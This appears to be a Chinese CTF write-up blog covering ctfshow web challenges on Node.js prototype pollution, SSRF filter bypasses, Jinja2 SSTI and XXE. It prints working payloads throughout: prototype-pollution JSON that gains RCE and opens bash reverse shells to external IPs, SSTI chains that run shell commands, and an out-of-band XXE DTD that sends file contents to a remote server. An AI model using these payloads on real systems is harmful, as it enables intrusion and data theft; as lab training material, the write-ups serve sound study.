secert 和 user 都是 对象, 在执行 copy 操作 ,构造一个请求体污染了 user 的原型,
存在一个 ctfshow 的属性, 值为 36dboy , 那么在 secert 的里面找不到 ctfshow 的属性. 就会往原型上去找, 从而满足secert.ctfshow==='36dboy' ,得到 flag
抓个登录的包, 修改一下就行

1
2
payload:
{"username":"111","password":"111","__proto__": {"ctfshow": "36dboy"}}

web339 变量覆盖 query

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}


});

api.js

1
2
3
4
5
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)}); //函数名 query,参数 query

});

和上一题的区别在于,上一题判断语句是 if(secert.ctfshow= = =‘36dboy’),这题是 if(secert.ctfshow= = =flag),但是变量 flag 的值我们不知道,所以不能使用上一题的 payload 污染原型修改 secert.ctfshow。

通过 login.js 里的 utils.copy(user,req.body); 污染原型,然后访问 api 的时候由于 query 未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可 rce。

ctfshow web入门 nodejs 334-341(更新中)

这一题的payload有点难理解,不过研究好可以为后面几题打基础。

Function(query) 是什么?

  • 它是 函数构造器,能把一个字符串变成 JS 函数。
  • 举例:
1
2
let f = Function("return 2+3");
console.log(f()); // 输出 5
  • 在题目里:
1
Function(query)

意思是:把客户端发来的 query 字符串当作函数体,生成一个新的函数。


② 后面的 (query) 又是啥?

  • 新生成的函数要被调用一次,所以加了 (query)
  • 由于函数体本身就是 query 字符串,这就相当于:
1
eval(query)

也就是说,客户端传什么,服务器就执行什么

res.render(‘api’, { query: … }) 是干嘛的?

res.render 会把第二个参数 { query: … } 传给模板。

模板里可能有:

当模板渲染时,它会去 { query: … } 里找 query,如果没找到,会顺着原型链去找。

  • login.jscopy 函数可以污染 Object.prototype
1
{"__proto__": {"query": "恶意代码"}}
  • 一旦污染:
    • 所有对象都能看到这个 query 属性。
    • 当模板访问 query 时,会从原型链上找到我们设置的值。

看的有点懵,提一下重点:

  1. Function(query)(query) 会执行 query 字符串。
  2. 模板渲染时用到 query 这个参数。
  3. query 来自对象 { query: Function(query)(query) },如果没有这个属性,它会去 Object.prototype 上找。

模板渲染需要 query 这个变量。

我们想执行自己的代码,但服务器本身没提供修改 query 的接口。

原型链污染 就是“旁路”手段:通过发送 JSON 给 copy 函数污染 Object.prototype.query。所有对象在访问 query 时,都会自动拿到我们设置的值

注意这里有两个 query,先给它们起个名字方便区分:

1
2
let f = Function(query);  // 第一个 query
f(query); // 第二个 query

第一个 query作为函数体的字符串

  • 也就是你想让函数执行的“代码”
  • 例如 "return 2+3""malicious_code()"
  • 这个字符串被传给 Function,生成一个函数对象

第二个 query调用函数时的参数

  • 调用新函数的时候,把这个值传进去
  • 服务器内部函数里可以用这个参数

第二个 query 会去原型链找

  • 当函数体里使用 query 时,JS 会先在局部作用域找这个变量
  • 但是如果对象里没有,JS 就会沿着 原型链
  • 利用 login.jscopy 方法,我们可以污染 Object.prototype.query
1
{"__proto__": {"query": "恶意代码"}}
  • 这样函数体里使用 query → 没有局部变量 → 去原型链找到 "恶意代码"
  • 然后被 Function(query)(query) 执行 → 触发 RCE

CTFSHOW nodejs篇

用这个payload成功了

1
2
3
4
5
6
7
{
"constructor": {
"prototype": {
"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/101.34.94.44/4567 0>&1\"');var __tmp2"
}
}
}

flag在/app/routes/login.js中

image-20250824183428529

web340

login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}

api.js

1
2
3
4
5
6
/* GET home page.  */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});

});

前半部分(isAdmin

这里主要是 证明污染成功

  • 你通过 copy() 把 payload 合并进 user.userinfo
  • 然后因为 payload 里面的 __proto__ 链会“冒泡”到 Object.prototype
  • 所以最终 {} 的原型上多了一个属性:isAdmin: {isAdmin:true}

这个就说明 任意对象 都会继承到 isAdmin,系统逻辑就可能被绕过(比如权限验证)。

后半部分(query

前面只是权限绕过,但我们真正想要的是 RCE 拿 flag

有的题目里(比如你遇到的 Node.js CTF 题),代码里会有一段类似这样的逻辑:

1
2
var func = new Function("query", userInput); 
func(query);

也就是说:

  • 用户传入的 query 参数,会被当成函数体执行
  • 如果对象的原型链上存在 query 属性,那也会被取到

于是:

1
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/43.140.251.169/4567 0>&1\"')"}}}

就把 query 属性放到了 Object.prototype 上。

这样,当服务器执行 func(query) 的时候:

  1. 它会去对象里找 query
  2. 找不到,就顺着原型链找到被污染的 Object.prototype.query
  3. 于是返回值就变成了我们恶意构造的 return global.process...exec(...)
  4. 直接执行反弹 shell 命令 → getshell → 读取 flag

cat routes/login.js|grep flag

web341

下载附件分析代码,发现这题没有api.js了,而且login.js也没有地方污染

img

继续分析代码,在app.js可以看到包含了ejs,且引擎设置为ejs

img

img

ejs模板引擎有个漏洞可以利用,实现从原型链污染到RCE

参考文章:Express+lodash+ejs: 从原型链污染到RCE

payload:

1
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/你的VPS地址/端口 0>&1\"');var __tmp2"}}}

跟上题一样,也是在/login里POST写入,然后刷新一次页面

web342

1
2
app.engine('jade', require('jade').__express); 
app.set('view engine', 'jade');

SSRF

web351

1
2
3
4
5
6
7
8
9
10
11
12
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);

?>

url = http://127.0.0.1/flag.php
url = localhost/flag.php
url = 127.0.0.1/flag.php

url = file:///var/www/html/flag.php(在源代码)

尝试 post 传入 url,并使用 file 协议作为参数,file:///etc/passwd 有返回值。 然后猜测 flag 在当前目录,而当前目录一般都是/var/www/html 故传入 file:///var/www/html/flag.php

两个问题等你写

curl_exec 的特性

本题最后一个 payload 有什么不同,为什么可以绕过本地限制

答案:

  1. curl_exec 函数的作用及使用场景
    curl_exec 是 PHP cURL 库中用于执行预配置的 cURL 会话的函数。它会发起网络请求(如 HTTP、FTP 等)并获取响应数据。在正常开发中,curl_exec 常用于以下场景:
    • 调用第三方 API(如支付接口、社交媒体平台)。
    • 爬取网页内容或聚合数据。
    • 下载远程文件(如图片、文档)。
    • 实现服务间通信(如微服务架构中的内部调用)。
  2. 前三个 Payload 生效的原因
    前三个 Payload 利用的是 SSRF(服务端请求伪造),使服务器向自身发起请求:
    • url=http://127.0.0.1/flag.phpurl=http://localhost/flag.php
      127.0.0.1localhost 均指向服务器本地。若 flag.php 部署在服务器的 Web 根目录(如 /var/www/html/)且仅允许本地访问,通过 cURL 请求这些地址可直接读取文件内容。
    • 注意:若 Payload 中未显式包含协议(如 http://),cURL 可能默认补全或报错,实际测试时需确保 URL 格式正确(如 http://127.0.0.1/flag.php)。
  3. file:// 协议绕过本地限制的原因
    Payload url=file:///var/www/html/flag.php 生效的关键点:
    • 直接文件系统访问file:// 协议允许 cURL 直接读取服务器本地文件,无需经过 HTTP 服务。若代码未限制协议类型(默认允许所有协议),攻击者可绕过网络层限制(如防火墙、IP 黑名单)。
    • 防御缺失:若服务器未禁用危险协议(如通过 CURLOPT_PROTOCOLS 限制仅允许 HTTP/HTTPS),file:// 可被利用读取敏感文件(如 /etc/passwd)。

web352

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
#仅允许 http:// 或 https:// 协议,阻止 file://、gopher:// 等危险协议
if(! preg_match('/localhost|127.0.0/')){
#检测 URL 中是否包含 localhost 或 127.0.0,若匹配则终止并返回 "hacker"。
#这里的 localhost 和 127.0.0 真的被过滤了吗?preg_match 函数的参数都没给完整,其限制字符就是个幌子
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

漏洞分析

  1. 正则表达式缺陷
  • 范围不完整:正则仅检测 127.0.0,但未覆盖以下情况:
    • IPv4 短格式:http://127.1/(等价于 127.0.0.1)。
    • 十进制 IP:http://2130706433/(对应 127.0.0.1)。
    • IPv6 地址:http://[::1]/(对应 localhost)。
  • 大小写绕过:未使用 i 修饰符,LocalHostLOCALHOST 可绕过检测。
  1. parse_url 解析绕过
  • URL 混淆攻击
    构造 http://evil.com@127.0.0.1/parse_url 解析的 hostevil.com,但实际请求发送到 127.0.0.1
  • 路径注入
    http://example.com/127.0.0.1/flag.php,正则触发误杀合法 URL,但攻击者仍可能利用其他格式。

攻击示例

绕过黑名单的 Payload:

  1. IPv4 短格式

    复制

    url = http://127.1/flag.php

    • 等价于 127.0.0.1,但绕过正则检测。
  2. 十进制 IP

    复制

    url = http://2130706433/flag.php

    • 十进制 2130706433 对应 127.0.0.1
  3. IPv6 地址

    复制

    url = http://[:: 1]/flag.php

    • IPv6 的本地回环地址,未被正则覆盖。

各种进制的 IP 地址

#默认

http://127.0.0.1

#16 进制

http://0x7F000001

#10 进制

((127 256+0) 256+0)*256+1//计算过程
http://2130706433

#8 进制

http://0177.0000.0000.0001

题目使用 parse_url 对 url 进行解析,需要我们传入协议为 http 或者是 https,同时不可以出现 localhost 或者是 127.0.0 绕过: 使用其余各种指向 127.0.0.1 的地址 >>>> http://127.00000.00000.001/ 0 的数量多一点少一点都没影响,最后还是会指向 127.0.0.1 >>>> http://127.1 >>>> 利用进制绕过……………… payload:url = http://127.00000.00000.001/flag.php 或者 http://127.1/flag.php

前面的解析都没有认真思考

这里的 localhost 和 127.0.0 真的被过滤了吗?

preg_match 函数的参数都没给完整,其限制字符就是个幌子

直接 url=http://localhost/flag.php 照样拿下

web353

payload 直接拿上面那题的…

web354

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
if(! preg_match('/localhost|1|0|。/i', $url)){
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

通过 ip 地址解析为 127.0.0.1 的网站进行绕过

url=http://spoofed.burpcollaborator.net/flag.php

url=http://safe.taobao.com/flag.php

url=http://sudo.cc/flag.php ; A 记录 sudo.cc 指向 IP 地址 127.0.0.1。

web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$host=$ x ['host'];
if((strlen($host)<= 5)){
#限制访问的域名长度
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

url=http://127.1/flag.php

linux 中 0 指向本机地址

payload: url=http://0/flag.php

web356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$host=$ x ['host'];
if((strlen($host)<= 3)){
#继续限制
$ch=curl_init($ url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?> hacker

代码块

url=http://0/flag.php

(未复现)web357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST ['url'];
$x=parse_url($ url);
if($x['scheme']==='http'||$ x ['scheme']==='https'){
$ip = gethostbyname($ x ['host']);
echo '</br>'.$ip.'</br >';
if(! filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}

echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?> scheme

filter_var 函数来验证 IP 地址的有效性,并且排除了私有 IP 范围(0.0.0.0/8、172.16.0.0/12 和 192.168.0.0/16)和保留 IP 范围(0.0.0.0/8 和 169.254.0.0/16。)。
用 DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。

DNS rebind 进行 DNS 重绑定攻击,思路:第一次访问,域名第一次解析是 127.0.0.1,第二次解析是 104.56.61.24。第二次访问的时候,域名第一次解析是 104.56.61.24,第二次解析是 127.0.0.1。

gethostbyname() 是 PHP 中的一个函数,用于获取指定主机名的 IP 地址。这个函数可以通过给定主机名,返回相应主机的 IPv4 地址。如果主机名无效,则函数返回主机名本身

在 PHP 中,filter_var()函数结合 FILTER_VALIDATE_IP 过滤器可以用来验证一个 IP 地址的有效性。在这个例子中,FILTER_FLAG_NO_PRIV_RANGE 和 FILTER_FLAG_NO_RES_RANGE 是额外的标志,用于指定不接受私有 IP 地址和保留 IP 地址。

FILTER_VALIDATE_IP:指定要验证的过滤器类型,用于验证 IP 地址。
FILTER_FLAG_NO_PRIV_RANGE:指示 filter_var()函数不接受私有 IP 地址。私有 IP 地址范围包括:
10.0.0.0 至 10.255.255.255
172.16.0.0 至 172.31.255.255
192.168.0.0 至 192.168.255.255
FILTER_FLAG_NO_RES_RANGE:指示 filter_var()函数不接受保留 IP 地址。保留 IP 地址范围包括:
0.0.0.0 至 0.255.255.255
169.254.0.0 至 169.254.255.255
127.0.0.0 至 127.255.255.255
224.0.0.0 至 239.255.255.255
利用 302 重定向访问 127.0.0.1 的原理获得 flag 绕过过滤

302 重定向是 HTTP 状态代码之一,表示临时性的重定向。当服务器收到客户端的请求后,如果需要将请求的资源临时重定向到另一个 URL,但未来可能会恢复到原始 URL 时,就会返回 302 状态码。这意味着客户端应该继续使用原始 URL 进行后续请求,因为重定向是暂时的。302 重定向常用于网站维护、临时性更改或者流量控制等场景。

web358

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

url=http://ctf.:passwd@127.0.0.1/flag.php#show

SSTI

web361

![img](file:///C:\Users\111\Documents\Tencent Files\2645958615\nt_qq\nt_data\Pic\2025-04\Ori\250ea6921f44142c235ad251ca163526.png)

web362 过滤部分数字

这个题是屏蔽了数字 2 和 3,那么思路可以分为两类,硬要用 os 类那就绕过 2 和 3,或者用其他的类。

1
2
3
4
5
6
7
8
9
10
{{"".__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__['popen']('cat+/flag').read()}}
用<class 'warnings.catch_warnings'> 执行命令:
{{"".__class__.__base__.__subclasses__()[185].__init__.__globals__.__builtins__.eval("__import__('os').popen('cat /flag').read()")}}
用 subprocess.Popen():
{{().__class__.__mro__[1].__subclasses__()[407]("cat /flag",shell=True,stdout=-1).communicate()[0]}}
使用_frozen_importlib_external.FileLoader 进行读取 flag 内容:
{{"".__class__.__base__.__subclasses__()[94].get_data(0,'/flag')}}
文件路径
使用 lipsum 方法。这个是 flask 的内置方法,自带 os 模块:
{{lipsum.__globals__.get('os').popen('cat /flag').read()}}

web363 单双引号””‘’

过滤了单引号,把””变成(),用 request.args.a

1
2
{{().__class__.__bases__[0].__subclasses__()[11*11%2b+11].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
{{().__class__.__mro__[1].__subclasses__()[407](request.args.a,shell=True,stdout=-1).communicate()[0]}}&a=cat /flag

web364 args

过滤 args,可以用 cookies

过滤 args,可以用 cookies
?name={{().__class__.__bases__[0].__subclasses__()[132].__init__.__globals__[request.cookies.p](request.cookies.param).read()}}
cookies
Cookie: p=popen; param=cat /flag

request.values.a 读取 get/post 方式里 a 的值

request.args.a 读取 get 方式里 a 的值

request.form.a 读取 post 方式里 a 的值

request.cookies.a 读取 cookie 里 a 的值

web365 方括号[]

过滤了方括号,可以用__getitem__绕过

1
?name={{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(407)(request.values.a,shell=True,stdout=-1).communicate().__getitem__(0)}}&a=cat /flag

三种方法,但都需要用到 python 魔术方法 getitem

1
2
3
4
5
6
7
8
9
10
11
12
13



方法一:{%set char=config.**class**.**init**.**globals**.**builtins**.chr%}{{().**class**.**base**.**subclasses**().**getitem**(132).**init**.**globals**.popen(char(108)%2bchar(115)).read()}}

方法二: name={{().class.base.subclasses().getitem(132).init.globals.getitem(request.cookies.x1)(request.cookies.x2).read()}}

然后将 cookie 写入 Cookie: x1=popen; x2=cat /flag

方法三: 使用 subprocess.Popen 类 {{().**class**.**mro**.**getitem**(1).**subclasses**().**getitem**(407)(request.values.a,shell=True,stdout=-1).communicate().**getitem**(0)}}&a=cat /flag



web366 下划线_

过滤了下划线,先换一个更简单获取 popen 方法的类

1
?name={{lipsum.__globals__.os.popen(request.values.a).read()}}&a =cat /flag

再利用 filters 中的 attr 来过滤下划

具体介绍可以看一下官方文档 https://jinja.palletsprojects.com/en/2.11.x/templates/#attr

payload

1
?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__
1
2
3
4
5
6
7
8
9
10
11
12
13
在 `?name={{(lipsum | attr(request.values.b)).os.popen(request.values.a).read()}}&a=cat /flag&b=__globals__` 这个恶意 payload 里:



`lipsum` 是一个对象,`request.values.b` 的值为 `"__globals__"` ,`attr(request.values.b)` (等价于 `attr("__globals__")` )表示通过 `attr` 操作(类似 `getattr` 函数)去获取 `lipsum` 对象的 `__globals__` 属性。这里的 `|` 是模板引擎(比如 Jinja2 模板引擎)里的过滤器操作符,`lipsum | attr(request.values.b)` 就是对 `lipsum` 对象应用 `attr` 过滤器(本质是调用类似 `getattr` 这样获取属性的操作)来得到 `lipsum` 对象的 `__globals__` 属性值,它是一个包含了全局变量的字典。



然后 `(lipsum | attr(request.values.b)).os` 是从这个 `__globals__` 字典里取出 `os` 模块对象(因为 `os` 模块通常会被包含在 `__globals__` 里) ,接着 `(lipsum | attr(request.values.b)).os.popen(request.values.a)` 调用 `os` 模块的 `popen` 函数去执行 `request.values.a` 所传入的命令(这里是 `cat /flag` ),最后 `.read()` 读取命令执行的输出结果。



`__globals__` 是 Python 中对象的一个特殊属性(属性名是固定的 `__globals__` ),而 `globals` 是 Python 内置函数,功能是返回当前全局符号表的字典。两者概念不同,并且在这个恶意 payload 里主要是获取对象的 `__globals__` 属性来达到恶意利用 `os` 模块执行命令的目的。

web367 os

1
过滤了 os,可以通过 get 来获取

payload

1
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag

web368 request

1
过滤了 request,但是是再{{}}中过滤了 request,没有在{% %}过滤 request

payload

1
?name={%print(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() %}&a=__globals__&b=os&c=cat /flag

web369 request

1

XXE

web373

1
2
3
4
5
6
7
8
9
10
11
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
# php://input 是 PHP 中用于直接读取 HTTP 请求体(Request Body) 的流。
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
# 允许加载并解析外部实体和 DTD,直接触发 XXE。
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}

打开 bp 抓包,修改请求方法,

1
2
3
4
5
6
7
<!DOCTYPE test [                     <!-- 定义 DTD,声明根元素为 test(实际未使用) -->
<!ENTITY xxe SYSTEM "file:///flag">
<!-- 定义一个名为 xxe 的外部实体 file:// 是 URI 协议的一种,表示访问本地文件系统(或网络共享文件) -->
]>
<z3r4y>
<ctfshow>&xxe;</ctfshow> <!-- 引用 xxe 实体,尝试读取 /flag 文件 -->
</z3r4y>

file:///flag` 的结构

  • 分解
    • file://:协议标识符,表示访问本地文件。

    • /flag:文件路径,表示从根目录开始的绝对路径(Unix/Linux 系统)。

      • 三个斜杠 / 的含义
        • file:// 后的第一个 / 是 URI 路径分隔符。
        • 完整的 file:///flag 实际上是 file:// + /flag,即访问根目录下的 flag 文件。
        • 在 Windows 中可能需要写成 file:///C:/flag(注意盘符 C:)。

web374

1
2
3
4
5
6
7
8
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

1
2
3
4
5
6
7
libxml_disable_entity_loader(false);   // 开启外部实体加载(危险,可能被利用 XXE)
$xmlfile = file_get_contents('php://input'); // 从 HTTP 请求体读取用户提交的数据(一般是 XML)
if(isset($xmlfile)){ // 如果有提交的 XML 数据
$dom = new DOMDocument(); // 创建一个 DOMDocument 对象,用来解析 XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // 解析 XML,允许实体替换(NOENT)和 DTD 加载(DTDLOAD)
}

和上一题相比少了

$creds = simplexml_import_dom($dom); // 把DOM对象转成SimpleXML对象,方便访问节点

没有继续取节点(比如 $dom->getElementsByTagName()),所以代码执行到这里就结束了,什么数据都没用到,所以没有回显。所以我们考虑数据外带(out of band)。访问一个请求,把数据加到请求上。

所以我们要发给网页的dtd上写“去把flag打包好”“去访问这个ip上的dtd”

1
2
3
4
5
6
7
8
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://ip:9999/test.dtd">
%myurl;
]>
<root>
1
</root>

在服务器上的dtd写”定义一个send变量”“使用send变量,把打包好的flag发给这个ip”

1
2
3
<!ENTITY % all "<!ENTITY &#x25; send SYSTEM 'http://47.122.71.42:9999/%file;'>">
%all;
%send;

在vps上监听:

1
python3 -m http.server 9999

这里我第一次用的是nc -lvvp 9999,很不幸的失败了,猜想可能是nc只是一个 裸 TCP 监听,如果请求很快或者是 HTTP/1.0,可能会连接一次就断开python3 -m http.server 80 是一个 完整 HTTP 服务,它能正确响应 HTTP GET 请求,发送 200 OK,目标服务器收到正常响应后,整个请求流程会成功完成。

image.png

web375

相比于上一题源码多了:

1
2
3
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}

但是上题本来就没有这个,这里到底想考什么呢?也许是空格绕过,多打一个空格在?xmlversion之间就好了。

web376

1
2
3
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}

多过滤了一个大小写 xml头声明不强制要求,可有可无

web377

1
2
3
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}

多过滤了一个http

计算机只能处理0和1,所以文字符号必须转换成字节才能存储或传输,把字符转换成字节的规则叫做字符编码。

PHP 的 preg_match 工作在 字符层面(char),也就是byte-to-char,先把字节解析成字符,再当作普通 ASCII 字符去匹配。

UTF-16这个编码的英文字符在内存里占两个字节,例如字符 h

  • ASCII / UTF-8 → 0x68
  • UTF-16 → 0x68 0x00(低字节在前,或大端字节序 0x00 0x68

所以字母 http 在 UTF-16 中存储可能是:

1
2
h      t      t      p
0x68 0x00 0x74 0x00 0x74 0x00 0x70 0x00

正则 /http/i 期望看到连续的 ASCII 'h' 't' 't' 'p'(单字节),结果每个字母之间都有 0x00 → 匹配失败

一个 xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16(两个变体 - BE 和 LE)、UTF-32(四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码。 在这种编码的帮助下,使用正则表达式可以很容易地绕过 WAF,因为在这种类型的 WAF 中,正则表达式通常仅配置为单字符集。 外来编码也可用于绕过成熟的 WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2 解析器只支持一种类型的 utf-32 - utf-32BE,特别是不支持 BOM。

https://wiki.scuctf.com/ctfwiki/web/6.xxe/%E7%BC%96%E7%A0%81%E7%BB%95%E8%BF%87/

web378

一个登录框,查看源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}

直接外部实体注入XXE读本地文件

image.png

ctfshow上xxe还是很好入门的。

区块链

web379

CATALOG
  1. 1. WEB 入门
    1. 1.1. 信息搜集
      1. 1.1.1. web1-17
    2. 1.2. 爆破
      1. 1.2.1. web18-23
    3. 1.3. 命令执行
      1. 1.3.1. web29(有没懂的知识)
      2. 1.3.2. 背景知识
      3. 1.3.3. 分别以如下方法尝试拿到 flag:
        1. 1.3.3.1. 1、直接执行系统命令
        2. 1.3.3.2. 2、内敛执行 (反字节符)
      4. 1.3.4. web31
      5. 1.3.5. web32
      6. 1.3.6. web33 (未复现)
      7. 1.3.7. web34(未复现)
      8. 1.3.8. web35
      9. 1.3.9. web36
      10. 1.3.10. web37
      11. 1.3.11. web40(未)
      12. 1.3.12. web41(未)
      13. 1.3.13. web42
      14. 1.3.14. web43
      15. 1.3.15. web44
      16. 1.3.16. web46
      17. 1.3.17. web47
      18. 1.3.18. web50
      19. 1.3.19. web51
      20. 1.3.20. web52
      21. 1.3.21. web53
      22. 1.3.22. web54
      23. 1.3.23. web55
      24. 1.3.24. web56
      25. 1.3.25. web57
    4. 1.4. 文件包含
      1. 1.4.1. web78
      2. 1.4.2. web79
      3. 1.4.3. web80
      4. 1.4.4. web81
      5. 1.4.5. web82
      6. 1.4.6. web87
      7. 1.4.7. web88
    5. 1.5. PHP特性
      1. 1.5.1. web89
      2. 1.5.2. web90
      3. 1.5.3. web91
      4. 1.5.4. web93
      5. 1.5.5. web94
      6. 1.5.6. web95
      7. 1.5.7. web96
      8. 1.5.8. web97
      9. 1.5.9. web98(看不懂源码看不懂解析)
      10. 1.5.10. web99
      11. 1.5.11. web100
      12. 1.5.12. web101
        1. 1.5.12.1. ReflectionClass
      13. 1.5.13. web102
      14. 1.5.14. web103
      15. 1.5.15. web104
      16. 1.5.16. web105
      17. 1.5.17. web107
      18. 1.5.18. web108
      19. 1.5.19. web110
      20. 1.5.20. web111
    6. 1.6. 文件上传
      1. 1.6.1. web151
      2. 1.6.2. web152
      3. 1.6.3. web153
    7. 1.7. 反序列化
      1. 1.7.1. web254
      2. 1.7.2. web255
      3. 1.7.3. web256
      4. 1.7.4. web257
      5. 1.7.5. web258
      6. 1.7.6. ?web259?
      7. 1.7.7. web260
      8. 1.7.8. web261
        1. 1.7.8.1. PHP 的弱类型比较
      9. 1.7.9. web317
      10. 1.7.10. web318.319
      11. 1.7.11. web320.321
      12. 1.7.12. web322-326
      13. 1.7.13. web327
      14. 1.7.14. web328
      15. 1.7.15. web329
      16. 1.7.16. web330
      17. 1.7.17. web331
      18. 1.7.18. web332
      19. 1.7.19. web333
      20. 1.7.20. 总结常见过滤
    8. 1.8. node.js
      1. 1.8.1. web334
      2. 1.8.2. web335
      3. 1.8.3. web336
      4. 1.8.4. web337
      5. 1.8.5. web338
      6. 1.8.6. web339 变量覆盖 query
      7. 1.8.7. web340
      8. 1.8.8. web341
      9. 1.8.9. web342
    9. 1.9. SSRF
      1. 1.9.1. web351
      2. 1.9.2. web352
      3. 1.9.3. web353
      4. 1.9.4. web354
      5. 1.9.5. web355
      6. 1.9.6. web356
      7. 1.9.7. (未复现)web357
      8. 1.9.8. web358
    10. 1.10. SSTI
      1. 1.10.1. web361
      2. 1.10.2. web362 过滤部分数字
